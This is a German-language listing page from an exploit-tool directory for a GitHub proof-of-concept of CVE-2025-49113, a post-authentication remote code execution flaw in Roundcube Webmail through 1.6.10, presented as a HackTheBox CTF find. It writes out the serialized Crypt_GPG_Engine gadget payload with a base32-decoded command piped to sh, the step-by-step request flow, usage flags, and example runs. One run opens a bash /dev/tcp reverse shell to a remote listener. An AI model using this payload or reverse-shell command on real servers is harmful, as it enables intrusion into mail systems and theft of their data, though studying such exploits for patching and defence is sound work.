Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-49113-Roundcube-RCE — CVE-2025-49113 – Roundcube ≤1.6.10 Post-Auth-RCE über PHP-Objektdeserialisierung (HackTheBox CTF) | Kitploit
Tools/GitHubGitHub/rippsec/cve-2025-49113-roundcube-rce
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationCTFPenetrationstestsPayload-Entwicklung
GitHubrippsec/cve-2025-49113-roundcube-rce

CVE-2025-49113-Roundcube-RCE

CVE-2025-49113 – Roundcube ≤1.6.10 Post-Auth-RCE über PHP-Objektdeserialisierung (HackTheBox CTF)

Repository anzeigen
6vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-49113 — Roundcube RCE nach Authentifizierung durch PHP-Objektdeserialisierung

Übersicht

FeldDetails
CVECVE-2025-49113
SoftwareRoundcube Webmail
Betroffene Versionen≤ 1.6.10
SchwachstellePHP-Objektdeserialisierung → RCE
AuthentifizierungErforderlich (jeder gültige Benutzer)
AuswirkungRemote Code Execution auf dem Server
KontextEntdeckt während eines HackTheBox-CTF

Beschreibung

Roundcube Webmail bis einschließlich Version 1.6.10 ist anfällig für Remote Code Execution nach der Authentifizierung. Der Datei-Upload-Handler deserialisiert ein PHP-Objekt, das im Dateinamen einer hochgeladenen Anlage eingebettet ist. Durch Erstellen eines bösartigen Dateinamens, der ein serialisiertes Crypt_GPG_Engine-Objekt enthält, kann ein authentifizierter Angreifer die Ausführung beliebiger Befehle auf dem zugrunde liegenden Server auslösen, sobald der Dateiname verarbeitet wird.

Technische Details

Schwachstellenklasse

PHP-Objektdeserialisierung (CWE-502). Der Datei-Upload-Endpunkt von Roundcube leitet den vom Client gelieferten Dateinamen ohne Validierung durch einen Deserialisierungspfad. Die Klasse Crypt_GPG_Engine ist in Roundcubes Abhängigkeitskette verfügbar und dient als nutzbare Gadget-Kette.

Gadget-Kette

Die Klasse Crypt_GPG_Engine enthält eine Eigenschaft _gpgconf, die während der Zerstörung/Initialisierung des Objekts an einen Systemaufruf übergeben wird. Indem der Angreifer eine Instanz mit einem manipulierten _gpgconf-Wert serialisiert, erzwingt er die Ausführung von Befehlen.

Serialized payload format:
|O:16:"Crypt_GPG_Engine":3:{
    s:8:"_process"; b:0;
    s:8:"_gpgconf"; s:<len>:"<base32-encoded-command> | base32 -d | sh &#";
    s:8:"_homedir"; s:0:"";
}

Der Befehl ist Base32-kodiert, um Probleme mit Sonderzeichen im Dateinamenfeld zu vermeiden.

Exploit-Ablauf

Attacker (authenticated)
    │
    ▼
GET /?_task=login         → Fetch CSRF token + session cookie
    │
    ▼
POST /?_task=login         → Authenticate with valid credentials
    │
    ▼
POST /?_task=settings&_action=upload
    Content-Disposition: filename="<SERIALIZED_PAYLOAD>"
    │
    ▼
Server deserializes filename → Crypt_GPG_Engine instantiated
    │
    ▼
_gpgconf executed → OS command runs as webserver user

Warum Base32?

Der Befehl ist Base32-kodiert, um Zeichen zu vermeiden, die das Multipart-Dateinamenfeld (Anführungszeichen, Schrägstriche usw.) beschädigen würden. Der letztendlich auf dem Server ausgeführte Befehl lautet:

echo "<B32_CMD>" | base32 -d | sh

Verwendung

python3 exploit.py -u <USER> -p <PASS> -i <TARGET_URL> -x <COMMAND>
FlagBeschreibung
-uRoundcube-Benutzername
-pRoundcube-Passwort
-iZiel-URL (z. B. http://mail.target.htb)
-xAuf dem Server auszuführender Befehl

Beispiel

# Check code execution as web server user
python3 exploit.py -u admin -p password -i http://mail.target.htb -x "id"

# Reverse shell
python3 exploit.py -u admin -p password -i http://mail.target.htb \
  -x "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"

Abhängigkeiten

Keine externen Bibliotheken erforderlich — es wird nur die Python-Standardbibliothek verwendet (http.client, urllib, base64 usw.).

Proof of Concept

$ python3 exploit.py -u bob -p letmein -i http://mail.target.htb -x "id"
[*] Starting Roundcube exploit (CVE-2025-49113)
[*] Fetching CSRF token...
[+] Got CSRF token: abc123...
[*] Authenticating...
[+] Authentication successful
[*] Executing command: id
[+] Exploit completed. Check target for command execution.

Referenzen

  • NVD-Eintrag
  • Offizielle Roundcube-Website
Tool herunterladen